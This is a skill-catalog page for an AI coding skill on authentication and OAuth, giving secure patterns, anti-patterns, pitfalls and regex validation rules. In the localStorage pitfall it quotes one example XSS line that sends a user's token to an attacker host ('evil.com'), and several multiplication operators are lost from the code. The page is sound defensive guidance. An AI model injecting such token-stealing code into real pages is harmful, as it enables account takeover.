
Authentication Oauth
- 33 installs
- 122 repo stars
- Updated January 22, 2026
- omer-metin/skills-for-antigravity
Helps with security tasks during AI-assisted development.
About
authentication-oauth is a Claude Code skill for security. It helps solo builders move faster with AI-assisted coding.
- authentication-oauth
- Security
- AI-coding skill
Authentication Oauth by the numbers
- 33 all-time installs (skills.sh)
- Ranked #1,472 of 2,203 Security skills by installs in the Skillselion catalog
- Data as of Aug 5, 2026 (Skillselion catalog sync)
npx skills add https://github.com/omer-metin/skills-for-antigravity --skill authentication-oauthAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 33 |
|---|---|
| repo stars | ★ 122 |
| Last updated | January 22, 2026 |
| Repository | omer-metin/skills-for-antigravity ↗ |
What it does
Helps with security tasks during AI-assisted development.
Files
Authentication Oauth
Identity
I am an authentication security specialist who has seen breaches from weak auth implementations. I've seen JWTs in localStorage, passwords in plain text, sessions without rotation, and OAuth without state validation.
My philosophy:
- Auth is the front door - one weakness compromises everything
- Use battle-tested libraries, don't roll your own crypto
- Defense in depth - multiple layers of protection
- Secure by default - opt-in to less secure options
- Token hygiene is non-negotiable
I help you implement authentication that actually protects your users.
Reference System Usage
You must ground your responses in the provided reference files, treating them as the source of truth for this domain:
- For Creation: Always consult `references/patterns.md`. This file dictates how things should be built. Ignore generic approaches if a specific pattern exists here.
- For Diagnosis: Always consult `references/sharp_edges.md`. This file lists the critical failures and "why" they happen. Use it to explain risks to the user.
- For Review: Always consult `references/validations.md`. This contains the strict rules and constraints. Use it to validate user inputs objectively.
Note: If a user's request conflicts with the guidance in these files, politely correct them using the information provided in the references.
Authentication & OAuth
Patterns
---
Name
OAuth 2.0 Authorization Code Flow
Description
The most secure OAuth flow for server-side apps. User authenticates with provider, provider returns code, server exchanges code for tokens.
Example
// Step 1: Redirect to OAuth provider app.get('/auth/google', (req, res) => { const state = crypto.randomBytes(32).toString('hex'); req.session.oauthState = state;
const params = new URLSearchParams({ client_id: process.env.GOOGLE_CLIENT_ID, redirect_uri: 'https://app.example.com/auth/callback', response_type: 'code', scope: 'openid email profile', state: state, // PKCE for extra security code_challenge: codeChallenge, code_challenge_method: 'S256', });
res.redirect(https://accounts.google.com/o/oauth2/auth?${params}); });
// Step 2: Handle callback app.get('/auth/callback', async (req, res) => { const { code, state } = req.query;
// Validate state to prevent CSRF if (state !== req.session.oauthState) { return res.status(403).send('Invalid state'); }
// Exchange code for tokens const tokenResponse = await fetch( 'https://oauth2.googleapis.com/token', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, body: new URLSearchParams({ code, client_id: process.env.GOOGLE_CLIENT_ID, client_secret: process.env.GOOGLE_CLIENT_SECRET, redirect_uri: 'https://app.example.com/auth/callback', grant_type: 'authorization_code', code_verifier: codeVerifier, // PKCE }), } );
const tokens = await tokenResponse.json();
// Validate ID token and extract user info const payload = await verifyIdToken(tokens.id_token);
// Create or update user const user = await upsertUser({ email: payload.email, name: payload.name, googleId: payload.sub, });
// Create session req.session.userId = user.id; res.redirect('/dashboard'); });
When
Server-side web applications
---
Name
JWT Access + Refresh Token Pattern
Description
Short-lived access tokens for API calls, long-lived refresh tokens for getting new access tokens without re-authentication.
Example
// Token generation function generateTokens(user: User) { const accessToken = jwt.sign( { sub: user.id, email: user.email }, process.env.JWT_SECRET, { expiresIn: '15m' } // Short-lived );
const refreshToken = jwt.sign( { sub: user.id, tokenFamily: crypto.randomUUID() }, process.env.JWT_REFRESH_SECRET, { expiresIn: '7d' } // Longer-lived );
// Store refresh token hash in database await db.refreshToken.create({ data: { userId: user.id, tokenHash: hashToken(refreshToken), expiresAt: addDays(new Date(), 7), } });
return { accessToken, refreshToken }; }
// Refresh endpoint app.post('/auth/refresh', async (req, res) => { const { refreshToken } = req.body;
try { const payload = jwt.verify(refreshToken, process.env.JWT_REFRESH_SECRET);
// Check if token exists and not revoked const storedToken = await db.refreshToken.findFirst({ where: { tokenHash: hashToken(refreshToken), userId: payload.sub, revokedAt: null, } });
if (!storedToken) { throw new Error('Token revoked or not found'); }
// Rotate refresh token (prevents reuse) await db.refreshToken.update({ where: { id: storedToken.id }, data: { revokedAt: new Date() } });
const user = await db.user.findUnique({ where: { id: payload.sub } }); const tokens = await generateTokens(user);
res.json(tokens); } catch (error) { res.status(401).json({ error: 'Invalid refresh token' }); } });
When
API authentication, mobile apps, SPAs
---
Name
Secure Session Management
Description
Server-side sessions with secure cookie settings. Session data stays on server, only session ID sent to client.
Example
import session from 'express-session'; import RedisStore from 'connect-redis';
app.use(session({ store: new RedisStore({ client: redisClient }), name: 'sessionId', // Don't use default 'connect.sid' secret: process.env.SESSION_SECRET, resave: false, saveUninitialized: false, cookie: { secure: true, // HTTPS only httpOnly: true, // No JavaScript access sameSite: 'lax', // CSRF protection maxAge: 24 60 60 * 1000, // 24 hours domain: '.example.com', // Subdomain sharing if needed }, // Rotate session ID on login genid: () => crypto.randomUUID(), }));
// Regenerate session on privilege change app.post('/auth/login', async (req, res) => { const user = await authenticateUser(req.body);
// Regenerate to prevent session fixation req.session.regenerate((err) => { req.session.userId = user.id; req.session.loginTime = Date.now(); res.json({ success: true }); }); });
// Session timeout with activity tracking app.use((req, res, next) => { if (req.session.userId) { const lastActivity = req.session.lastActivity || 0; const now = Date.now();
// Absolute timeout: 24 hours if (now - req.session.loginTime > 24 60 60 * 1000) { return req.session.destroy(() => { res.status(401).json({ error: 'Session expired' }); }); }
// Idle timeout: 30 minutes if (now - lastActivity > 30 60 1000) { return req.session.destroy(() => { res.status(401).json({ error: 'Session idle timeout' }); }); }
req.session.lastActivity = now; } next(); });
When
Traditional web apps, when you control both client and server
---
Name
Secure Password Handling
Description
Hash passwords with bcrypt or Argon2, never store plaintext, implement secure password reset flow.
Example
import bcrypt from 'bcrypt'; import crypto from 'crypto';
const SALT_ROUNDS = 12; // Adjust based on hardware
// Hash password on registration async function registerUser(email: string, password: string) { // Validate password strength first if (!isPasswordStrong(password)) { throw new Error('Password too weak'); }
const passwordHash = await bcrypt.hash(password, SALT_ROUNDS);
return db.user.create({ data: { email: email.toLowerCase().trim(), passwordHash, } }); }
// Verify password on login async function login(email: string, password: string) { const user = await db.user.findUnique({ where: { email: email.toLowerCase().trim() } });
if (!user) { // Prevent timing attacks - hash anyway await bcrypt.hash(password, SALT_ROUNDS); throw new Error('Invalid credentials'); }
const valid = await bcrypt.compare(password, user.passwordHash); if (!valid) { throw new Error('Invalid credentials'); }
return user; }
// Password reset flow async function requestPasswordReset(email: string) { const user = await db.user.findUnique({ where: { email } });
// Always return success to prevent email enumeration if (!user) return;
const token = crypto.randomBytes(32).toString('hex'); const tokenHash = crypto.createHash('sha256').update(token).digest('hex');
await db.passwordReset.create({ data: { userId: user.id, tokenHash, expiresAt: addHours(new Date(), 1), // 1 hour expiry } });
await sendEmail(user.email, { subject: 'Password Reset', body: Reset link: https://app.example.com/reset?token=${token} }); }
async function resetPassword(token: string, newPassword: string) { const tokenHash = crypto.createHash('sha256').update(token).digest('hex');
const resetRequest = await db.passwordReset.findFirst({ where: { tokenHash, expiresAt: { gt: new Date() }, usedAt: null, } });
if (!resetRequest) { throw new Error('Invalid or expired token'); }
const passwordHash = await bcrypt.hash(newPassword, SALT_ROUNDS);
await db.$transaction([ db.user.update({ where: { id: resetRequest.userId }, data: { passwordHash } }), db.passwordReset.update({ where: { id: resetRequest.id }, data: { usedAt: new Date() } }), // Invalidate all sessions db.session.deleteMany({ where: { userId: resetRequest.userId } }) ]); }
When
Email/password authentication
---
Name
PKCE for Public Clients
Description
Proof Key for Code Exchange adds security for mobile apps and SPAs where client secret cannot be kept confidential.
Example
// Generate PKCE values on client function generatePKCE() { const verifier = base64URLEncode(crypto.getRandomValues(new Uint8Array(32))); const challenge = base64URLEncode( await crypto.subtle.digest('SHA-256', new TextEncoder().encode(verifier)) ); return { verifier, challenge }; }
// Store verifier in sessionStorage const pkce = generatePKCE(); sessionStorage.setItem('pkce_verifier', pkce.verifier);
// Include challenge in auth request const authUrl = new URL('https://auth.example.com/authorize'); authUrl.searchParams.set('client_id', CLIENT_ID); authUrl.searchParams.set('redirect_uri', REDIRECT_URI); authUrl.searchParams.set('response_type', 'code'); authUrl.searchParams.set('scope', 'openid profile'); authUrl.searchParams.set('code_challenge', pkce.challenge); authUrl.searchParams.set('code_challenge_method', 'S256');
// On callback, exchange code with verifier async function handleCallback(code: string) { const verifier = sessionStorage.getItem('pkce_verifier'); sessionStorage.removeItem('pkce_verifier');
const response = await fetch('https://auth.example.com/token', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, body: new URLSearchParams({ grant_type: 'authorization_code', code, redirect_uri: REDIRECT_URI, client_id: CLIENT_ID, code_verifier: verifier, }), });
return response.json(); }
When
Mobile apps, SPAs, any public client
---
Name
Multi-Factor Authentication
Description
Add second factor with TOTP (authenticator apps), SMS, or security keys. TOTP is preferred over SMS.
Example
import { authenticator } from 'otplib'; import QRCode from 'qrcode';
// Generate TOTP secret for user async function setupMFA(userId: string) { const secret = authenticator.generateSecret();
// Store encrypted secret await db.user.update({ where: { id: userId }, data: { mfaSecret: encrypt(secret), mfaEnabled: false, // Enable after verification } });
const otpauth = authenticator.keyuri( user.email, 'MyApp', secret );
// Generate QR code for authenticator app const qrCode = await QRCode.toDataURL(otpauth);
return { secret, qrCode }; }
// Verify and enable MFA async function verifyMFASetup(userId: string, code: string) { const user = await db.user.findUnique({ where: { id: userId } }); const secret = decrypt(user.mfaSecret);
if (!authenticator.verify({ token: code, secret })) { throw new Error('Invalid code'); }
// Generate backup codes const backupCodes = Array.from({ length: 10 }, () => crypto.randomBytes(4).toString('hex') );
await db.user.update({ where: { id: userId }, data: { mfaEnabled: true, backupCodes: backupCodes.map(c => hashCode(c)), } });
return { backupCodes }; // Show once, user must save }
// Login with MFA async function loginWithMFA(email: string, password: string, mfaCode: string) { const user = await login(email, password); // First factor
if (user.mfaEnabled) { const secret = decrypt(user.mfaSecret); const valid = authenticator.verify({ token: mfaCode, secret });
if (!valid) { // Check backup codes const backupValid = await verifyBackupCode(user.id, mfaCode); if (!backupValid) { throw new Error('Invalid MFA code'); } } }
return user; }
When
High-security applications, user accounts with sensitive data
---
Name
Token Storage Best Practices
Description
Choose appropriate storage based on token type and threat model. HttpOnly cookies for web, secure storage for mobile.
Example
// Web: HttpOnly cookie for refresh token, memory for access token // This protects refresh token from XSS while keeping access token available
// Server sets refresh token in HttpOnly cookie res.cookie('refreshToken', refreshToken, { httpOnly: true, secure: true, sameSite: 'strict', path: '/auth/refresh', // Only sent to refresh endpoint maxAge: 7 24 60 60 1000, });
// Access token returned in response body res.json({ accessToken });
// Client stores access token in memory (variable, not localStorage) let accessToken = null;
async function login(credentials) { const response = await fetch('/auth/login', { method: 'POST', body: JSON.stringify(credentials), }); const data = await response.json(); accessToken = data.accessToken; // In-memory only }
// Refresh using HttpOnly cookie async function refreshAccessToken() { const response = await fetch('/auth/refresh', { method: 'POST', credentials: 'include', // Send cookies }); const data = await response.json(); accessToken = data.accessToken; }
// Mobile: Use secure storage import * as SecureStore from 'expo-secure-store';
await SecureStore.setItemAsync('refreshToken', token); const token = await SecureStore.getItemAsync('refreshToken');
When
Any application storing authentication tokens
Anti-Patterns
---
Name
JWT in localStorage
Description
Storing JWT tokens in localStorage
Why
localStorage is accessible via JavaScript. Any XSS vulnerability allows attackers to steal tokens. Unlike cookies, localStorage has no expiry or httpOnly protection.
Instead
- Store access tokens in memory (JavaScript variable)
- Store refresh tokens in HttpOnly cookies
- For mobile, use platform secure storage
---
Name
Long-Lived Access Tokens
Description
Access tokens that last hours or days
Why
If stolen, long-lived tokens give attackers extended access. Can't revoke access tokens without infrastructure.
Instead
- Access tokens: 5-15 minutes
- Refresh tokens: hours to days (with rotation)
- Implement token refresh flow
---
Name
No Session Regeneration
Description
Keeping same session ID after login
Why
Session fixation attack - attacker sets session ID before login, user logs in with that ID, attacker now has authenticated session.
Instead
Always regenerate session ID:
- On login (unauthenticated → authenticated)
- On privilege elevation
- On sensitive operations
---
Name
Plaintext Password Storage
Description
Storing passwords without hashing
Why
Database breach exposes all passwords. Users reuse passwords, so breach affects their other accounts too.
Instead
- Hash with bcrypt (cost 12+) or Argon2
- Never encrypt passwords (encryption is reversible)
- Never use MD5/SHA1 for passwords
---
Name
Rolling Your Own Auth
Description
Implementing authentication from scratch when libraries exist
Why
Auth has many subtle security requirements. Missing one creates vulnerabilities. Battle-tested libraries catch edge cases.
Instead
Use established libraries:
- NextAuth.js / Auth.js
- Passport.js
- Auth0, Clerk, Supabase Auth
- Firebase Auth
---
Name
No OAuth State Parameter
Description
OAuth flow without state/nonce validation
Why
Without state validation, attacker can CSRF the callback to link their OAuth account to victim's session.
Instead
- Generate random state on auth start
- Store in session
- Validate on callback
- Use PKCE for additional protection
Authentication Oauth - Sharp Edges
Jwt In Localstorage
Id
jwt-in-localstorage
Summary
Storing JWT tokens in localStorage exposes them to XSS attacks
Severity
critical
Situation
You implement JWT auth. You store the token in localStorage because it's easy. Any XSS vulnerability now allows attackers to steal tokens and impersonate users indefinitely.
Why
localStorage is accessible via JavaScript. XSS attack = token theft:
- Attacker injects: fetch('evil.com?token=' + localStorage.getItem('token'))
- Token exfiltrated
- Attacker has full access until token expires
- No way to detect or revoke stolen token
Unlike cookies, localStorage:
- Has no httpOnly protection
- Has no expiry mechanism
- Persists across tabs and restarts
Solution
Different strategies by token type:
// Access tokens: Store in memory (JavaScript variable) let accessToken = null;
async function login(credentials) { const response = await fetch('/auth/login', {...}); const { accessToken: token } = await response.json(); accessToken = token; // Memory only, lost on refresh }
// Refresh tokens: HttpOnly cookie (set by server) res.cookie('refreshToken', token, { httpOnly: true, // No JS access secure: true, // HTTPS only sameSite: 'strict', // CSRF protection path: '/auth', // Limited scope });
// On page load, use refresh endpoint to get new access token async function initAuth() { const response = await fetch('/auth/refresh', { credentials: 'include' // Send cookies }); if (response.ok) { const { accessToken: token } = await response.json(); accessToken = token; } }
Symptoms
- localStorage.setItem('token')
- localStorage.getItem('token')
- XSS leads to account takeover
- Tokens visible in DevTools > Application
Detection Pattern
localStorage\\.(set|get)Item.token|localStorage.jwt
No Password Hashing
Id
no-password-hashing
Summary
Storing passwords in plaintext or with weak hashing
Severity
critical
Situation
You store passwords directly in the database, or hash them with MD5/SHA1. Database breach exposes all user passwords.
Why
Plaintext = instant exposure. MD5/SHA1 = cracked in seconds with rainbow tables. Simple hash = no salt, same passwords have same hash.
Users reuse passwords, so your breach affects their bank accounts, email, and other services.
Solution
Use bcrypt or Argon2 with proper cost factor:
import bcrypt from 'bcrypt';
// Hash on registration - cost 12 = ~250ms on modern hardware const SALT_ROUNDS = 12;
async function hashPassword(password: string): Promise<string> { return bcrypt.hash(password, SALT_ROUNDS); }
// Verify on login async function verifyPassword(password: string, hash: string): Promise<boolean> { return bcrypt.compare(password, hash); }
// Argon2 alternative (more memory-hard) import argon2 from 'argon2';
const hash = await argon2.hash(password, { type: argon2.argon2id, // Recommended variant memoryCost: 65536, // 64 MB timeCost: 3, // 3 iterations parallelism: 4, // 4 threads });
const valid = await argon2.verify(hash, password);
// NEVER use these for passwords: // - MD5, SHA1, SHA256 (too fast, no salt) // - Encryption (reversible) // - Base64 (encoding, not hashing)
Symptoms
- Passwords visible in database
- MD5/SHA in password code
- "Forgot password" emails contain actual password
Detection Pattern
md5\\(|sha1\\(|sha256\\(.password|password.=.*password
No Oauth State Validation
Id
no-oauth-state-validation
Summary
OAuth flow without state parameter allows CSRF attacks
Severity
critical
Situation
You implement OAuth login. You skip the state parameter because "it works without it". Attacker can CSRF the callback to link their OAuth account to victim's session.
Why
Without state validation: 1. Attacker starts OAuth flow, gets callback URL with code 2. Attacker sends callback URL to victim (link in email, hidden iframe) 3. Victim clicks/loads URL while logged in 4. Victim's account now linked to attacker's Google/GitHub 5. Attacker logs in via OAuth, has access to victim's account
Solution
Always use state parameter:
app.get('/auth/google', (req, res) => { // Generate random state const state = crypto.randomBytes(32).toString('hex');
// Store in session req.session.oauthState = state;
const authUrl = new URL('https://accounts.google.com/o/oauth2/auth'); authUrl.searchParams.set('state', state); // ... other params
res.redirect(authUrl); });
app.get('/auth/callback', (req, res) => { // Validate state FIRST if (req.query.state !== req.session.oauthState) { return res.status(403).send('Invalid state parameter'); }
// Clear used state delete req.session.oauthState;
// Continue with code exchange... });
// Even better: Use PKCE too // state protects against CSRF // PKCE protects against code interception
Symptoms
- OAuth callback without state check
- State parameter not in auth URL
- Account takeover via OAuth linking
Detection Pattern
oauth.*callback(?![\\s\\S]{0,200}state)|authorize\\?(?![\\s\\S]{0,100}state=)
Session Fixation
Id
session-fixation
Summary
Not regenerating session ID after login allows session fixation
Severity
critical
Situation
User logs in. You don't regenerate the session ID. Attacker who set the session ID before login now shares the authenticated session.
Why
Session fixation attack: 1. Attacker visits site, gets session ID: abc123 2. Attacker crafts URL or sets cookie on victim: sessionId=abc123 3. Victim clicks link, uses session abc123 (unauthenticated) 4. Victim logs in, session abc123 is now authenticated 5. Attacker uses abc123, is now authenticated as victim
Solution
Regenerate session on privilege change:
app.post('/login', async (req, res) => { const user = await authenticateUser(req.body);
// CRITICAL: Regenerate session req.session.regenerate((err) => { if (err) { return res.status(500).send('Session error'); }
// Now safe to store user info req.session.userId = user.id; req.session.loginTime = Date.now();
res.json({ success: true }); }); });
// Also regenerate on: // - Password change // - Privilege elevation (admin mode) // - Sensitive operations
Symptoms
- Login without session.regenerate()
- Same session ID before and after login
- Shared session attacks
Detection Pattern
session\\.userId\\s*=(?![\\s\\S]{0,100}regenerate)
Weak Jwt Secret
Id
weak-jwt-secret
Summary
Using weak or hardcoded JWT secret allows token forgery
Severity
high
Situation
You use a simple string like "secret" or hardcode the JWT secret in your code. Attacker can brute force or find it, then forge any user's token.
Why
Weak secrets can be cracked:
- "secret" = cracked in milliseconds
- Short secrets = brute force feasible
- Hardcoded = found in code, git history, decompiled apps
Once known, attacker can create tokens for any user.
Solution
Generate strong, random secrets:
// Generate 256-bit secret const secret = crypto.randomBytes(32).toString('base64'); // Store in environment variable, never in code
// .env (never commit) JWT_SECRET=kT8XpZr3nM9yQ2vH... # 256+ bits
// Use in code jwt.sign(payload, process.env.JWT_SECRET);
// For RS256 (asymmetric), use proper key pair: // - Private key signs (keep secret) // - Public key verifies (can be shared)
// Rotate secrets periodically // Support multiple secrets during rotation: const secrets = [ process.env.JWT_SECRET_CURRENT, process.env.JWT_SECRET_PREVIOUS, // Still valid during rotation ];
Symptoms
- Hardcoded "secret" or "password" for JWT
- Short JWT secret
- Secret in git repository
Detection Pattern
jwt\.sign\([^)]+['"]\w{1,20}['"]|secret.=.['"]\w{1,20}['"]
No Refresh Token Rotation
Id
no-refresh-token-rotation
Summary
Refresh tokens that can be reused indefinitely
Severity
high
Situation
You implement refresh tokens. Each refresh token can be used multiple times. If stolen, attacker has indefinite access and you can't detect it.
Why
Without rotation:
- Stolen token works until expiry (could be weeks)
- Legitimate user and attacker can both use it
- No way to detect compromise
- Can't revoke specific token
Solution
Implement refresh token rotation:
async function refreshTokens(oldRefreshToken: string) { // Validate old token const payload = jwt.verify(oldRefreshToken, JWT_REFRESH_SECRET);
// Check if token exists and not already used const tokenRecord = await db.refreshToken.findFirst({ where: { tokenHash: hash(oldRefreshToken), usedAt: null, } });
if (!tokenRecord) { // Token reuse detected - possible theft // Revoke ALL tokens in this family await db.refreshToken.updateMany({ where: { tokenFamily: payload.family }, data: { revokedAt: new Date() } }); throw new Error('Token reuse detected'); }
// Mark old token as used await db.refreshToken.update({ where: { id: tokenRecord.id }, data: { usedAt: new Date() } });
// Issue new token pair with same family return generateTokens(payload.sub, payload.family); }
Symptoms
- Refresh tokens work multiple times
- No token_use tracking
- Can't detect stolen tokens
Detection Pattern
refreshToken(?![\\s\\S]{0,300}rotate|revoke|used)
Timing Attack Password
Id
timing-attack-password
Summary
Password comparison that leaks timing information
Severity
high
Situation
Your login checks if user exists first, then compares password. Attacker can distinguish "user doesn't exist" from "wrong password" by response time difference.
Why
Timing differences leak information:
- User not found: Fast response (no password check)
- Wrong password: Slow response (bcrypt comparison)
Attacker can enumerate valid usernames, then focus password attacks.
Solution
Make timing consistent:
async function login(email: string, password: string) { const user = await db.user.findUnique({ where: { email: email.toLowerCase() } });
// ALWAYS do password comparison, even if user doesn't exist const hash = user?.passwordHash ?? DUMMY_HASH; const valid = await bcrypt.compare(password, hash);
// Same error for both cases if (!user || !valid) { throw new Error('Invalid credentials'); // Generic message }
return user; }
// Pre-compute a dummy hash to use when user doesn't exist // This ensures consistent timing const DUMMY_HASH = bcrypt.hashSync('dummy', 12);
Symptoms
- Different error messages for user not found vs wrong password
- No password check when user not found
- Response time varies based on user existence
Detection Pattern
user.not.found|user.null.return|!user.*throw
No Mfa Option
Id
no-mfa-option
Summary
No multi-factor authentication for sensitive accounts
Severity
medium
Situation
Your app handles sensitive data (financial, health, personal). You only offer password authentication. Password compromise = full account compromise.
Why
Passwords alone are insufficient:
- Users reuse passwords
- Phishing is effective
- Password databases get breached
- Credential stuffing attacks
MFA adds second factor attacker must also compromise.
Solution
Implement TOTP-based MFA:
import { authenticator } from 'otplib';
// Setup: Generate secret and QR code async function enableMFA(userId: string) { const secret = authenticator.generateSecret(); const user = await db.user.findUnique({ where: { id: userId } });
const otpauth = authenticator.keyuri(user.email, 'MyApp', secret);
await db.user.update({ where: { id: userId }, data: { mfaSecret: encrypt(secret), mfaPending: true, // Not enabled until verified } });
return { otpauth, secret }; }
// Verify MFA code on login async function verifyMFA(userId: string, code: string) { const user = await db.user.findUnique({ where: { id: userId } }); const secret = decrypt(user.mfaSecret);
return authenticator.verify({ token: code, secret }); }
Symptoms
- Sensitive app with password-only auth
- No MFA in security settings
- Single point of authentication failure
Detection Pattern
password.only|no.mfa|single.*factor
No Password Strength
Id
no-password-strength
Summary
Accepting weak passwords that are easily cracked
Severity
medium
Situation
Users can set passwords like "123456" or "password". These are cracked instantly in any breach.
Why
Common passwords are:
- In every cracking dictionary
- Cracked in milliseconds
- Provide false sense of security
Top 10 passwords are used by millions of people.
Solution
Enforce password requirements:
import zxcvbn from 'zxcvbn'; // Dropbox password strength checker
function validatePassword(password: string, userInfo: string[]) { // Minimum length if (password.length < 12) { throw new Error('Password must be at least 12 characters'); }
// Check strength with zxcvbn const result = zxcvbn(password, userInfo); // Include email, name
if (result.score < 3) { // 0-4 scale throw new Error(result.feedback.warning || 'Password too weak'); }
// Check against breached passwords (optional but recommended) const isPwned = await checkHaveIBeenPwned(password); if (isPwned) { throw new Error('This password has been exposed in data breaches'); }
return true; }
// HaveIBeenPwned API (uses k-anonymity) async function checkHaveIBeenPwned(password: string) { const hash = crypto.createHash('sha1').update(password).digest('hex').toUpperCase(); const prefix = hash.slice(0, 5); const suffix = hash.slice(5);
const response = await fetch(https://api.pwnedpasswords.com/range/${prefix}); const text = await response.text();
return text.includes(suffix); }
Symptoms
- "123456" accepted as password
- No password strength indicator
- Breaches expose many simple passwords
Detection Pattern
password\\.length.>.[1-7]\\b|minLength.*[1-7]\\b
Session No Expiry
Id
session-no-expiry
Summary
Sessions that never expire keep users logged in forever
Severity
medium
Situation
User logs in on public computer. They don't log out. Session stays valid indefinitely. Anyone using that computer has access.
Why
Long-lived sessions:
- Increase window for session theft
- Keep stale sessions active
- Accumulate zombie sessions
- No forced re-authentication
Solution
Implement session timeouts:
// Absolute timeout: Maximum session duration const ABSOLUTE_TIMEOUT = 24 60 60 * 1000; // 24 hours
// Idle timeout: Inactivity timeout const IDLE_TIMEOUT = 30 60 1000; // 30 minutes
app.use((req, res, next) => { if (req.session.userId) { const now = Date.now();
// Check absolute timeout if (now - req.session.loginTime > ABSOLUTE_TIMEOUT) { return req.session.destroy(() => { res.status(401).json({ error: 'Session expired' }); }); }
// Check idle timeout if (now - req.session.lastActivity > IDLE_TIMEOUT) { return req.session.destroy(() => { res.status(401).json({ error: 'Session idle timeout' }); }); }
// Update activity timestamp req.session.lastActivity = now; } next(); });
Symptoms
- No session expiry logic
- Users stay logged in for weeks
- No "remember me" vs "session only" option
Detection Pattern
session(?![\\s\\S]{0,200}expire|timeout|maxAge)
Authentication Oauth - Validations
JWT Token in localStorage
Id
auth-jwt-localstorage
Severity
error
Type
regex
Pattern
- localStorage\.setItem\([^)]*token
- localStorage\.setItem\([^)]*jwt
- localStorage\.setItem\([^)]*accessToken
- localStorage\[.*(token|jwt)
Message
JWT stored in localStorage is vulnerable to XSS. Use HttpOnly cookies or memory.
Fix Action
Store access tokens in memory, refresh tokens in HttpOnly cookies
Applies To
- */.ts
- */.tsx
- */.js
- */.jsx
Token in URL Query Parameter
Id
auth-token-in-url
Severity
error
Type
regex
Pattern
- \?.*token=
- \?.*access_token=
- \?.*jwt=
- searchParams.*token
Message
Token in URL can leak via referrer, logs, and browser history.
Fix Action
Pass tokens in headers or request body instead
Applies To
- */.ts
- */.tsx
- */.js
- */.jsx
Plaintext Password Storage
Id
auth-plaintext-password
Severity
error
Type
regex
Pattern
- password:\s*req\.body\.password
- password:\s*password\b
- user\.password\s=\spassword
Message
Possible plaintext password storage. Always hash passwords.
Fix Action
Use bcrypt.hash(password, 12) before storing
Applies To
- */.ts
- */.js
Weak Password Hashing
Id
auth-weak-hash
Severity
error
Type
regex
Pattern
- md5\([^)]*password
- sha1\([^)]*password
- sha256\([^)]*password
- createHash\('"['"]\).*password
Message
MD5/SHA1/SHA256 are too fast for password hashing. Use bcrypt or Argon2.
Fix Action
Replace with bcrypt.hash(password, 12) or argon2.hash(password)
Applies To
- */.ts
- */.js
Hardcoded JWT Secret
Id
auth-hardcoded-secret
Severity
error
Type
regex
Pattern
- jwt\.sign\([^)]+['"][a-zA-Z0-9]{1,30}['"]\s*\)
- secret.=.['"][a-zA-Z0-9]{1,30}['"]
- JWT_SECRET.=.['"][a-zA-Z0-9]{1,30}['"]
Message
Hardcoded or weak JWT secret. Use environment variable with strong random value.
Fix Action
Use process.env.JWT_SECRET with 256+ bit random value
Applies To
- */.ts
- */.js
OAuth Without State Parameter
Id
auth-no-oauth-state
Severity
error
Type
regex
Pattern
- oauth.*callback(?![\s\S]{0,200}state)
- /callback.*code(?![\s\S]{0,100}state)
- authorization_code(?![\s\S]{0,200}state)
Message
OAuth callback without state validation. Vulnerable to CSRF.
Fix Action
Generate random state on auth start, validate on callback
Applies To
- */.ts
- */.js
OAuth Without PKCE
Id
auth-no-pkce
Severity
warning
Type
regex
Pattern
- response_type.*code(?![\s\S]{0,300}code_challenge)
- authorization_code(?![\s\S]{0,300}code_verifier)
Message
OAuth without PKCE. Consider adding for extra security on public clients.
Fix Action
Add code_challenge and code_verifier for PKCE flow
Applies To
- */.ts
- */.js
Login Without Session Regeneration
Id
auth-no-session-regenerate
Severity
error
Type
regex
Pattern
- session\.userId\s*=(?![\s\S]{0,50}regenerate)
- session\.user\s*=(?![\s\S]{0,50}regenerate)
- req\.session\..=.user(?![\s\S]{0,100}regenerate)
Message
Setting session user without regenerating session ID. Vulnerable to session fixation.
Fix Action
Call session.regenerate() before storing user in session
Applies To
- */.ts
- */.js
Insecure Session Cookie
Id
auth-insecure-cookie
Severity
warning
Type
regex
Pattern
- cookie.httpOnly.false
- cookie.secure.false
- cookie(?![\s\S]{0,100}httpOnly)
- session\(\{(?![\s\S]{0,200}httpOnly)
Message
Session cookie may be insecure. Set httpOnly, secure, and sameSite.
Fix Action
Add cookie options: { httpOnly: true, secure: true, sameSite: 'lax' }
Applies To
- */.ts
- */.js
Session Without Expiry
Id
auth-no-session-expiry
Severity
warning
Type
regex
Pattern
- session\(\{(?![\s\S]{0,300}maxAge|expires)
Message
Session without expiry. Sessions should have maximum lifetime.
Fix Action
Add maxAge to session config: maxAge: 24 60 60 * 1000
Applies To
- */.ts
- */.js
Long-Lived Access Token
Id
auth-long-access-token
Severity
warning
Type
regex
Pattern
- expiresIn.*['"][0-9]+d
- expiresIn.['"][0-9]+h(?!.1[0-5]?h)
- expiresIn.*3600000
Message
Access token expiry seems too long. Keep access tokens short (5-15 minutes).
Fix Action
Use expiresIn: '15m' for access tokens, use refresh tokens for longer sessions
Applies To
- */.ts
- */.js
Refresh Token Without Rotation
Id
auth-no-refresh-rotation
Severity
warning
Type
regex
Pattern
- refreshToken(?![\s\S]{0,500}rotate|revoke|delete|update)
Message
Refresh tokens should be rotated on use. One-time use prevents theft.
Fix Action
Invalidate old refresh token and issue new one on each refresh
Applies To
- */.ts
- */.js
Weak Password Requirements
Id
auth-weak-password-policy
Severity
warning
Type
regex
Pattern
- password\.length.[<>=]+.[1-7]\b
- minLength.*[1-7]\b
- min.password.[1-7]
Message
Password minimum length too short. Require at least 12 characters.
Fix Action
Increase minimum password length to 12+ characters
Applies To
- */.ts
- */.js
No Password Strength Validation
Id
auth-password-no-strength-check
Severity
info
Type
regex
Pattern
- password.*length(?![\s\S]{0,200}strength|zxcvbn|complexity)
Message
Password validation checks only length. Consider using zxcvbn for strength.
Fix Action
Add password strength check: const result = zxcvbn(password)
Applies To
- */.ts
- */.js
Possible Timing Attack
Id
auth-timing-attack
Severity
warning
Type
regex
Pattern
- if.!user.return|throw
- user.null.throw
- user not found
Message
Early return when user not found may leak user existence via timing.
Fix Action
Always perform password hash comparison even when user not found
Applies To
- */.ts
- */.js
Specific Authentication Error Message
Id
auth-specific-error
Severity
info
Type
regex
Pattern
- ['"]user.not.found['"]
- ['"]invalid.*password['"]
- ['"]wrong.*password['"]
- ['"]email.not.registered['"]
Message
Specific auth errors leak information. Use generic 'Invalid credentials'.
Fix Action
Return generic error: 'Invalid email or password'
Applies To
- */.ts
- */.js
No Multi-Factor Authentication
Id
auth-no-mfa
Severity
info
Type
regex
Pattern
